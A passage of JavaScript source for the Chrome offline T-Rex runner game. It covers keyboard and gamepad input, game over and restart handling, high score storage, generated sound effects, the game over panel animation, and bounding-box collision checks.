            // Speed drop, activated only when jump key is not pressed.
            this.tRex.setSpeedDrop();
          } else if (!this.tRex.jumping && !this.tRex.ducking) {
            // Duck.
            this.tRex.setDuck(true);
          }
        }
      }
    }
  },

  /**
   * Process key up.
   * @param {Event} e
   */
  onKeyUp(e) {
    const keyCode = String(e.keyCode);
    const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
        e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;

    if (this.isRunning() && isjumpKey) {
      this.tRex.endJump();
    } else if (Runner.keycodes.DUCK[keyCode]) {
      this.tRex.speedDrop = false;
      this.tRex.setDuck(false);
    } else if (this.crashed) {
      // Check that enough time has elapsed before allowing jump key to restart.
      const deltaTime = getTimeStamp() - this.time;

      if (this.isCanvasInView() &&
          (Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
          (deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
          Runner.keycodes.JUMP[keyCode]))) {
        this.handleGameOverClicks(e);
      }
    } else if (this.paused && isjumpKey) {
      // Reset the jump state
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Process gamepad connected event.
   * @param {Event} e
   */
  onGamepadConnected(e) {
    if (!this.pollingGamepads) {
      this.pollGamepadState();
    }
  },

  /**
   * rAF loop for gamepad polling.
   */
  pollGamepadState() {
    const gamepads = navigator.getGamepads();
    this.pollActiveGamepad(gamepads);

    this.pollingGamepads = true;
    requestAnimationFrame(this.pollGamepadState.bind(this));
  },

  /**
   * Polls for a gamepad with the jump button pressed. If one is found this
   * becomes the "active" gamepad and all others are ignored.
   * @param {!Array<Gamepad>} gamepads
   */
  pollForActiveGamepad(gamepads) {
    for (let i = 0; i < gamepads.length; ++i) {
      if (gamepads[i] && gamepads[i].buttons.length > 0 &&
          gamepads[i].buttons[0].pressed) {
        this.gamepadIndex = i;
        this.pollActiveGamepad(gamepads);
        return;
      }
    }
  },

  /**
   * Polls the chosen gamepad for button presses and generates KeyboardEvents
   * to integrate with the rest of the game logic.
   * @param {!Array<Gamepad>} gamepads
   */
  pollActiveGamepad(gamepads) {
    if (this.gamepadIndex === undefined) {
      this.pollForActiveGamepad(gamepads);
      return;
    }

    const gamepad = gamepads[this.gamepadIndex];
    if (!gamepad) {
      this.gamepadIndex = undefined;
      this.pollForActiveGamepad(gamepads);
      return;
    }

    // The gamepad specification defines the typical mapping of physical buttons
    // to button indicies: https://w3c.github.io/gamepad/#remapping
    this.pollGamepadButton(gamepad, 0, 38);  // Jump
    if (gamepad.buttons.length >= 2) {
      this.pollGamepadButton(gamepad, 1, 40);  // Duck
    }
    if (gamepad.buttons.length >= 10) {
      this.pollGamepadButton(gamepad, 9, 13);  // Restart
    }

    this.previousGamepad = gamepad;
  },

  /**
   * Generates a key event based on a gamepad button.
   * @param {!Gamepad} gamepad
   * @param {number} buttonIndex
   * @param {number} keyCode
   */
  pollGamepadButton(gamepad, buttonIndex, keyCode) {
    const state = gamepad.buttons[buttonIndex].pressed;
    let previousState = false;
    if (this.previousGamepad) {
      previousState = this.previousGamepad.buttons[buttonIndex].pressed;
    }
    // Generate key events on the rising and falling edge of a button press.
    if (state !== previousState) {
      const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
                                      : Runner.events.KEYUP,
                                { keyCode: keyCode });
      document.dispatchEvent(e);
    }
  },

  /**
   * Handle interactions on the game over screen state.
   * A user is able to tap the high score twice to reset it.
   * @param {Event} e
   */
  handleGameOverClicks(e) {
    if (e.target != this.slowSpeedCheckbox) {
      e.preventDefault();
      if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
        if (this.distanceMeter.isHighScoreFlashing()) {
          // Subsequent click, reset the high score.
          this.saveHighScore(0, true);
          this.distanceMeter.resetHighScore();
        } else {
          // First click, flash the high score.
          this.distanceMeter.startHighScoreFlashing();
        }
      } else {
        this.distanceMeter.cancelHighScoreFlashing();
        this.restart();
      }
    }
  },

  /**
   * Returns whether the event was a left click on canvas.
   * On Windows right click is registered as a click.
   * @param {Event} e
   * @return {boolean}
   */
  isLeftClickOnCanvas(e) {
    return e.button != null && e.button < 2 &&
        e.type === Runner.events.POINTERUP &&
        (e.target === this.canvas ||
         (IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
  },

  /**
   * RequestAnimationFrame wrapper.
   */
  scheduleNextUpdate() {
    if (!this.updatePending) {
      this.updatePending = true;
      this.raqId = requestAnimationFrame(this.update.bind(this));
    }
  },

  /**
   * Whether the game is running.
   * @return {boolean}
   */
  isRunning() {
    return !!this.raqId;
  },

  /**
   * Set the initial high score as stored in the user's profile.
   * @param {number} highScore
   */
  initializeHighScore(highScore) {
    this.syncHighestScore = true;
    highScore = Math.ceil(highScore);
    if (highScore < this.highestScore) {
      if (window.errorPageController) {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
      return;
    }
    this.highestScore = highScore;
    this.distanceMeter.setHighScore(this.highestScore);
  },

  /**
   * Sets the current high score and saves to the profile if available.
   * @param {number} distanceRan Total distance ran.
   * @param {boolean=} opt_resetScore Whether to reset the score.
   */
  saveHighScore(distanceRan, opt_resetScore) {
    this.highestScore = Math.ceil(distanceRan);
    this.distanceMeter.setHighScore(this.highestScore);

    // Store the new high score in the profile.
    if (this.syncHighestScore && window.errorPageController) {
      if (opt_resetScore) {
        errorPageController.resetEasterEggHighScore();
      } else {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
    }
  },

  /**
   * Game over state.
   */
  gameOver() {
    this.playSound(this.soundFx.HIT);
    vibrate(200);

    this.stop();
    this.crashed = true;
    this.distanceMeter.achievement = false;

    this.tRex.update(100, Trex.status.CRASHED);

    // Game over panel.
    if (!this.gameOverPanel) {
      const origSpriteDef = IS_HIDPI ?
          Runner.spriteDefinitionByType.original.HDPI :
          Runner.spriteDefinitionByType.original.LDPI;

      if (this.canvas) {
        if (Runner.isAltGameModeEnabled) {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions, origSpriteDef.ALT_GAME_END,
              this.altGameModeActive);
        } else {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions);
        }
      }
    }

    this.gameOverPanel.draw(this.altGameModeActive, this.tRex);

    // Update the high score.
    if (this.distanceRan > this.highestScore) {
      this.saveHighScore(this.distanceRan);
    }

    // Reset the time clock.
    this.time = getTimeStamp();

    if (Runner.audioCues) {
      this.generatedSoundFx.stopAll();
      announcePhrase(
          getA11yString(A11Y_STRINGS.gameOver)
              .replace(
                  '$1',
                  this.distanceMeter.getActualDistance(this.distanceRan)
                      .toString()) +
          ' ' +
          getA11yString(A11Y_STRINGS.highScore)
              .replace(
                  '$1',

                  this.distanceMeter.getActualDistance(this.highestScore)
                      .toString()));
      this.containerEl.setAttribute(
          'title', getA11yString(A11Y_STRINGS.ariaLabel));
    }
    this.showSpeedToggle();
    this.disableSpeedToggle(false);
  },

  stop() {
    this.setPlayStatus(false);
    this.paused = true;
    cancelAnimationFrame(this.raqId);
    this.raqId = 0;
    this.generatedSoundFx.stopAll();
  },

  play() {
    if (!this.crashed) {
      this.setPlayStatus(true);
      this.paused = false;
      this.tRex.update(0, Trex.status.RUNNING);
      this.time = getTimeStamp();
      this.update();
      this.generatedSoundFx.background();
    }
  },

  restart() {
    if (!this.raqId) {
      this.playCount++;
      this.runningTime = 0;
      this.setPlayStatus(true);
      this.toggleSpeed();
      this.paused = false;
      this.crashed = false;
      this.distanceRan = 0;
      this.setSpeed(this.config.SPEED);
      this.time = getTimeStamp();
      this.containerEl.classList.remove(Runner.classes.CRASHED);
      this.clearCanvas();
      this.distanceMeter.reset();
      this.horizon.reset();
      this.tRex.reset();
      this.playSound(this.soundFx.BUTTON_PRESS);
      this.invert(true);
      this.flashTimer = null;
      this.update();
      this.gameOverPanel.reset();
      this.generatedSoundFx.background();
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
      announcePhrase(getA11yString(A11Y_STRINGS.started));
    }
  },

  setPlayStatus(isPlaying) {
    if (this.touchController) {
      this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
    }
    this.playing = isPlaying;
  },

  /**
   * Whether the game should go into arcade mode.
   * @return {boolean}
   */
  isArcadeMode() {
    // In RTL languages the title is wrapped with the left to right mark
    // control characters &#x202A; and &#x202C but are invisible.
    return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
                    document.title === ARCADE_MODE_URL;
  },

  /**
   * Hides offline messaging for a fullscreen game only experience.
   */
  setArcadeMode() {
    document.body.classList.add(Runner.classes.ARCADE_MODE);
    this.setArcadeModeContainerScale();
  },

  /**
   * Sets the scaling for arcade mode.
   */
  setArcadeModeContainerScale() {
    const windowHeight = window.innerHeight;
    const scaleHeight = windowHeight / this.dimensions.HEIGHT;
    const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
    const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
    const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
    // Positions the game container at 10% of the available vertical window
    // height minus the game container height.
    const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
        Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
        Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
        window.devicePixelRatio;

    const cssScale = IS_RTL ? -scale + ',' + scale : scale;
    this.containerEl.style.transform =
        'scale(' + cssScale + ') translateY(' + translateY + 'px)';
  },

  /**
   * Pause the game if the tab is not in focus.
   */
  onVisibilityChange(e) {
    if (document.hidden || document.webkitHidden || e.type === 'blur' ||
        document.visibilityState !== 'visible') {
      this.stop();
    } else if (!this.crashed) {
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Play a sound.
   * @param {AudioBuffer} soundBuffer
   */
  playSound(soundBuffer) {
    if (soundBuffer) {
      const sourceNode = this.audioContext.createBufferSource();
      sourceNode.buffer = soundBuffer;
      sourceNode.connect(this.audioContext.destination);
      sourceNode.start(0);
    }
  },

  /**
   * Inverts the current page / canvas colors.
   * @param {boolean} reset Whether to reset colors.
   */
  invert(reset) {
    const htmlEl = document.firstElementChild;

    if (reset) {
      htmlEl.classList.toggle(Runner.classes.INVERTED,
          false);
      this.invertTimer = 0;
      this.inverted = false;
    } else {
      this.inverted = htmlEl.classList.toggle(
          Runner.classes.INVERTED, this.invertTrigger);
    }
  },
};


/**
 * Updates the canvas size taking into
 * account the backing store pixel ratio and
 * the device pixel ratio.
 *
 * See article by Paul Lewis:
 * http://www.html5rocks.com/en/tutorials/canvas/hidpi/
 *
 * @param {HTMLCanvasElement} canvas
 * @param {number=} opt_width
 * @param {number=} opt_height
 * @return {boolean} Whether the canvas was scaled.
 */
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
  const context =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));

  // Query the various pixel ratios
  const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
  /** @suppress {missingProperties} */
  const backingStoreRatio =
      Math.floor(context.webkitBackingStorePixelRatio) || 1;
  const ratio = devicePixelRatio / backingStoreRatio;

  // Upscale the canvas if the two ratios don't match
  if (devicePixelRatio !== backingStoreRatio) {
    const oldWidth = opt_width || canvas.width;
    const oldHeight = opt_height || canvas.height;

    canvas.width = oldWidth * ratio;
    canvas.height = oldHeight * ratio;

    canvas.style.width = oldWidth + 'px';
    canvas.style.height = oldHeight + 'px';

    // Scale the context to counter the fact that we've manually scaled
    // our canvas element.
    context.scale(ratio, ratio);
    return true;
  } else if (devicePixelRatio === 1) {
    // Reset the canvas width / height. Fixes scaling bug when the page is
    // zoomed and the devicePixelRatio changes accordingly.
    canvas.style.width = canvas.width + 'px';
    canvas.style.height = canvas.height + 'px';
  }
  return false;
};


/**
 * Whether events are enabled.
 * @return {boolean}
 */
Runner.isAltGameModeEnabled = function() {
  return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};


/**
 * Generated sound FX class for audio cues.
 * @constructor
 */
function GeneratedSoundFx() {
  this.audioCues = false;
  this.context = null;
  this.panner = null;
}

GeneratedSoundFx.prototype = {
  init() {
    this.audioCues = true;
    if (!this.context) {
      // iOS only supports the webkit version.
      this.context = window.webkitAudioContext ? new webkitAudioContext() :
                                                 new AudioContext();
      if (IS_IOS) {
        this.context.onstatechange = (function() {
                                       if (this.context.state != 'running') {
                                         this.context.resume();
                                       }
                                     }).bind(this);
        this.context.resume();
      }
      this.panner = this.context.createStereoPanner ?
          this.context.createStereoPanner() :
          null;
    }
  },

  stopAll() {
    this.cancelFootSteps();
  },

  /**
   * Play oscillators at certain frequency and for a certain time.
   * @param {number} frequency
   * @param {number} startTime
   * @param {number} duration
   * @param {?number=} opt_vol
   * @param {number=} opt_pan
   */
  playNote(frequency, startTime, duration, opt_vol, opt_pan) {
    const osc1 = this.context.createOscillator();
    const osc2 = this.context.createOscillator();
    const volume = this.context.createGain();

    // Set oscillator wave type
    osc1.type = 'triangle';
    osc2.type = 'triangle';
    volume.gain.value = 0.1;

    // Set up node routing
    if (this.panner) {
      this.panner.pan.value = opt_pan || 0;
      osc1.connect(volume).connect(this.panner);
      osc2.connect(volume).connect(this.panner);
      this.panner.connect(this.context.destination);
    } else {
      osc1.connect(volume);
      osc2.connect(volume);
      volume.connect(this.context.destination);
    }

    // Detune oscillators for chorus effect
    osc1.frequency.value = frequency + 1;
    osc2.frequency.value = frequency - 2;

    // Fade out
    volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
    volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);

    // Start oscillators
    osc1.start(startTime);
    osc2.start(startTime);
    // Stop oscillators
    osc1.stop(startTime + duration);
    osc2.stop(startTime + duration);
  },

  background() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(493.883, now, 0.116);
      this.playNote(659.255, now + 0.116, 0.232);
      this.loopFootSteps();
    }
  },

  loopFootSteps() {
    if (this.audioCues && !this.bgSoundIntervalId) {
      this.bgSoundIntervalId = setInterval(function() {
        this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
        this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
      }.bind(this), 280);
    }
  },

  cancelFootSteps() {
    if (this.audioCues && this.bgSoundIntervalId) {
      clearInterval(this.bgSoundIntervalId);
      this.bgSoundIntervalId = null;
      this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
      this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
    }
  },

  collect() {
    if (this.audioCues) {
      this.cancelFootSteps();
      const now = this.context.currentTime;
      this.playNote(830.61, now, 0.116);
      this.playNote(1318.51, now + 0.116, 0.232);
    }
  },

  jump() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(659.25, now, 0.116, 0.3, -0.6);
      this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
    }
  },
};


/**
 * Speak a phrase using Speech Synthesis API for a11y.
 * @param {string} phrase Sentence to speak.
 */
function speakPhrase(phrase) {
  if ('speechSynthesis' in window) {
    const msg = new SpeechSynthesisUtterance(phrase);
    const voices = window.speechSynthesis.getVoices();
    msg.text = phrase;
    speechSynthesis.speak(msg);
  }
}


/**
 * For screen readers make an announcement to the live region.
 * @param {string} phrase Sentence to speak.
 */
function announcePhrase(phrase) {
  if (Runner.a11yStatusEl) {
    Runner.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl.textContent = phrase;
  }
}


/**
 * Returns a string from loadTimeData data object.
 * @param {string} stringName
 * @return {string}
 */
function getA11yString(stringName) {
  return loadTimeData && loadTimeData.valueExists(stringName) ?
      loadTimeData.getString(stringName) :
      '';
}


/**
 * Get random number.
 * @param {number} min
 * @param {number} max
 */
function getRandomNum(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}


/**
 * Vibrate on mobile devices.
 * @param {number} duration Duration of the vibration in milliseconds.
 */
function vibrate(duration) {
  if (IS_MOBILE && window.navigator.vibrate) {
    window.navigator.vibrate(duration);
  }
}


/**
 * Create canvas element.
 * @param {Element} container Element to append canvas to.
 * @param {number} width
 * @param {number} height
 * @param {string=} opt_classname
 * @return {HTMLCanvasElement}
 */
function createCanvas(container, width, height, opt_classname) {
  const canvas =
      /** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
  canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
      opt_classname : Runner.classes.CANVAS;
  canvas.width = width;
  canvas.height = height;
  container.appendChild(canvas);

  return canvas;
}


/**
 * Decodes the base 64 audio to ArrayBuffer used by Web Audio.
 * @param {string} base64String
 */
function decodeBase64ToArrayBuffer(base64String) {
  const len = (base64String.length / 4) * 3;
  const str = atob(base64String);
  const arrayBuffer = new ArrayBuffer(len);
  const bytes = new Uint8Array(arrayBuffer);

  for (let i = 0; i < len; i++) {
    bytes[i] = str.charCodeAt(i);
  }
  return bytes.buffer;
}


/**
 * Return the current timestamp.
 * @return {number}
 */
function getTimeStamp() {
  return IS_IOS ? new Date().getTime() : performance.now();
}


//******************************************************************************


/**
 * Game over panel.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} textImgPos
 * @param {Object} restartImgPos
 * @param {!Object} dimensions Canvas dimensions.
 * @param {Object=} opt_altGameEndImgPos
 * @param {boolean=} opt_altGameActive
 * @constructor
 */
function GameOverPanel(
    canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
    opt_altGameActive) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.canvasDimensions = dimensions;
  this.textImgPos = textImgPos;
  this.restartImgPos = restartImgPos;
  this.altGameEndImgPos = opt_altGameEndImgPos;
  this.altGameModeActive = opt_altGameActive;

  // Retry animation.
  this.frameTimeStamp = 0;
  this.animTimer = 0;
  this.currentFrame = 0;

  this.gameOverRafId = null;

  this.flashTimer = 0;
  this.flashCounter = 0;
  this.originalText = true;
}

GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;

/**
 * Animation frames spec.
 */
GameOverPanel.animConfig = {
  frames: [0, 36, 72, 108, 144, 180, 216, 252],
  msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};

/**
 * Dimensions used in the panel.
 * @enum {number}
 */
GameOverPanel.dimensions = {
  TEXT_X: 0,
  TEXT_Y: 13,
  TEXT_WIDTH: 191,
  TEXT_HEIGHT: 11,
  RESTART_WIDTH: 36,
  RESTART_HEIGHT: 32,
};


GameOverPanel.prototype = {
  /**
   * Update the panel dimensions.
   * @param {number} width New canvas width.
   * @param {number} opt_height Optional new canvas height.
   */
  updateDimensions(width, opt_height) {
    this.canvasDimensions.WIDTH = width;
    if (opt_height) {
      this.canvasDimensions.HEIGHT = opt_height;
    }
    this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
  },

  drawGameOverText(dimensions, opt_useAltText) {
    const centerX = this.canvasDimensions.WIDTH / 2;
    let textSourceX = dimensions.TEXT_X;
    let textSourceY = dimensions.TEXT_Y;
    let textSourceWidth = dimensions.TEXT_WIDTH;
    let textSourceHeight = dimensions.TEXT_HEIGHT;

    const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
    const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
    const textTargetWidth = dimensions.TEXT_WIDTH;
    const textTargetHeight = dimensions.TEXT_HEIGHT;

    if (IS_HIDPI) {
      textSourceY *= 2;
      textSourceX *= 2;
      textSourceWidth *= 2;
      textSourceHeight *= 2;
    }

    if (!opt_useAltText) {
      textSourceX += this.textImgPos.x;
      textSourceY += this.textImgPos.y;
    }

    const spriteSource =
        opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    // Game over text from sprite.
    this.canvasCtx.drawImage(
        spriteSource, textSourceX, textSourceY, textSourceWidth,
        textSourceHeight, textTargetX, textTargetY, textTargetWidth,
        textTargetHeight);

    this.canvasCtx.restore();
  },

  /**
   * Draw additional adornments for alternative game types.
   */
  drawAltGameElements(tRex) {
    // Additional adornments.
    if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
      const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;

      let altGameEndSourceWidth = altGameEndConfig.WIDTH;
      let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
      const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
      const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;

      if (IS_HIDPI) {
        altGameEndSourceWidth *= 2;
        altGameEndSourceHeight *= 2;
      }

      this.canvasCtx.drawImage(
          Runner.altCommonImageSprite, this.altGameEndImgPos.x,
          this.altGameEndImgPos.y, altGameEndSourceWidth,
          altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
          altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
    }
  },

  /**
   * Draw restart button.
   */
  drawRestartButton() {
    const dimensions = GameOverPanel.dimensions;
    let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
    let restartSourceWidth = dimensions.RESTART_WIDTH;
    let restartSourceHeight = dimensions.RESTART_HEIGHT;
    const restartTargetX =
        (this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
    const restartTargetY = this.canvasDimensions.HEIGHT / 2;

    if (IS_HIDPI) {
      restartSourceWidth *= 2;
      restartSourceHeight *= 2;
      framePosX *= 2;
    }

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    this.canvasCtx.drawImage(
        Runner.origImageSprite, this.restartImgPos.x + framePosX,
        this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
        restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
        dimensions.RESTART_HEIGHT);
    this.canvasCtx.restore();
  },


  /**
   * Draw the panel.
   * @param {boolean} opt_altGameModeActive
   * @param {!Trex} opt_tRex
   */
  draw(opt_altGameModeActive, opt_tRex) {
    if (opt_altGameModeActive) {
      this.altGameModeActive = opt_altGameModeActive;
    }

    this.drawGameOverText(GameOverPanel.dimensions, false);
    this.drawRestartButton();
    this.drawAltGameElements(opt_tRex);
    this.update();
  },

  /**
   * Update animation frames.
   */
  update() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);

    this.frameTimeStamp = now;
    this.animTimer += deltaTime;
    this.flashTimer += deltaTime;

    // Restart Button
    if (this.currentFrame == 0 &&
        this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
      this.animTimer = 0;
      this.currentFrame++;
      this.drawRestartButton();
    } else if (
        this.currentFrame > 0 &&
        this.currentFrame < GameOverPanel.animConfig.frames.length) {
      if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
        this.currentFrame++;
        this.drawRestartButton();
      }
    } else if (
        !this.altGameModeActive &&
        this.currentFrame == GameOverPanel.animConfig.frames.length) {
      this.reset();
      return;
    }

    // Game over text
    if (this.altGameModeActive &&
        Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
      const altTextConfig =
          Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;

      if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
          this.flashTimer > altTextConfig.FLASH_DURATION) {
        this.flashTimer = 0;
        this.originalText = !this.originalText;

        this.clearGameOverTextBounds();
        if (this.originalText) {
          this.drawGameOverText(GameOverPanel.dimensions, false);
          this.flashCounter++;
        } else {
          this.drawGameOverText(altTextConfig, true);
        }
      } else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
        this.reset();
        return;
      }
    }

    this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
  },

  /**
   * Clear game over text.
   */
  clearGameOverTextBounds() {
    this.canvasCtx.save();

    this.canvasCtx.clearRect(
        Math.round(
            this.canvasDimensions.WIDTH / 2 -
            (GameOverPanel.dimensions.TEXT_WIDTH / 2)),
        Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
        GameOverPanel.dimensions.TEXT_WIDTH,
        GameOverPanel.dimensions.TEXT_HEIGHT + 4);
    this.canvasCtx.restore();
  },

  reset() {
    if (this.gameOverRafId) {
      cancelAnimationFrame(this.gameOverRafId);
      this.gameOverRafId = null;
    }
    this.animTimer = 0;
    this.frameTimeStamp = 0;
    this.currentFrame = 0;
    this.flashTimer = 0;
    this.flashCounter = 0;
    this.originalText = true;
  },
};


//******************************************************************************

/**
 * Check for a collision.
 * @param {!Obstacle} obstacle
 * @param {!Trex} tRex T-rex object.
 * @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
 *    drawing collision boxes.
 * @return {Array<CollisionBox>|undefined}
 */
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
  const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;

  // Adjustments are made to the bounding box as there is a 1 pixel white
  // border around the t-rex and obstacles.
  const tRexBox = new CollisionBox(
      tRex.xPos + 1,
      tRex.yPos + 1,
      tRex.config.WIDTH - 2,
      tRex.config.HEIGHT - 2);

  const obstacleBox = new CollisionBox(
      obstacle.xPos + 1,
      obstacle.yPos + 1,
      obstacle.typeConfig.width * obstacle.size - 2,
      obstacle.typeConfig.height - 2);

  // Debug outer box
  if (opt_canvasCtx) {
    drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
  }

  // Simple outer bounds check.
  if (boxCompare(tRexBox, obstacleBox)) {
    const collisionBoxes = obstacle.collisionBoxes;
    let tRexCollisionBoxes = [];

    if (Runner.isAltGameModeEnabled()) {
      tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
    } else {
      tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
                                          Trex.collisionBoxes.RUNNING;
    }

    // Detailed axis aligned box check.
    for (let t = 0; t < tRexCollisionBoxes.length; t++) {
      for (let i = 0; i < collisionBoxes.length; i++) {
        // Adjust the box to actual positions.
        const adjTrexBox =
            createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
        const adjObstacleBox =
            createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
        const crashed = boxCompare(adjTrexBox, adjObstacleBox);

        // Draw boxes for debug.
        if (opt_canvasCtx) {
          drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
        }

        if (crashed) {
          return [adjTrexBox, adjObstacleBox];
        }
      }
    }
  }
}


/**
 * Adjust the collision box.
 * @param {!CollisionBox} box The original box.
 * @param {!CollisionBox} adjustment Adjustment box.
 * @return {CollisionBox} The adjusted collision box object.
 */
function createAdjustedCollisionBox(box, adjustment) {
  return new CollisionBox(
      box.x + adjustment.x,
      box.y + adjustment.y,
      box.width,
      box.height);
}


/**
 * Draw the collision boxes for debug.
 */
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
  canvasCtx.save();
  canvasCtx.strokeStyle = '#f00';
  canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);

  canvasCtx.strokeStyle = '#0f0';
  canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
      obstacleBox.width, obstacleBox.height);
  canvasCtx.restore();
}


/**
 * Compare two collision boxes for a collision.
 * @param {CollisionBox} tRexBox
 * @param {CollisionBox} obstacleBox
 * @return {boolean} Whether the boxes intersected.
 */
function boxCompare(tRexBox, obstacleBox) {
  let crashed = false;
  const tRexBoxX = tRexBox.x;
  const tRexBoxY = tRexBox.y;

  const obstacleBoxX = obstacleBox.x;
  const obstacleBoxY = obstacleBox.y;

  // Axis-Aligned Bounding Box method.
  if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
      tRexBox.x + tRexBox.width > obstacleBoxX &&
      tRexBox.y < obstacleBox.y + obstacleBox.height &&
      tRexBox.height + tRexBox.y > obstacleBox.y) {
    crashed = true;
  }

  return crashed;
}


//******************************************************************************

/**
 * Collision box object.
 * @param {number} x X position.
 * @param {number} y Y Position.
 * @param {number} w Width.
 * @param {number} h Height.
 * @constructor
 */
function CollisionBox(x, y, w, h) {
  this.x = x;
  this.y = y;
  this.width = w;
  this.height = h;
}


//******************************************************************************

/**
 * Obstacle.
 * @param {CanvasRenderingContext2D} canvasCtx
 * @param {ObstacleType} type
 * @param {Object} spriteImgPos Obstacle position in sprite.
 * @param {Object} dimensions
 * @param {number} gapCoefficient Mutipler in determining the gap.
 * @param {number} speed
 * @param {number=} opt_xOffset
 * @param {boolean=} opt_isAltGameMode
 * @constructor
 */
function Obstacle(
    canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
    opt_xOffset, opt_isAltGameMode) {
  this.canvasCtx = canvasCtx;
  this.spritePos = spriteImgPos;
  this.typeConfig = type;
  this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
  this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
  this.dimensions = dimensions;
  this.remove = false;
  this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
  this.yPos = 0;
  this.width = 0;
  this.collisionBoxes = [];
  this.gap = 0;
  this.speedOffset = 0;
  this.altGameModeActive = opt_isAltGameMode;
  this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
      Runner.altCommonImageSprite :
      this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;

  // For animated obstacles.
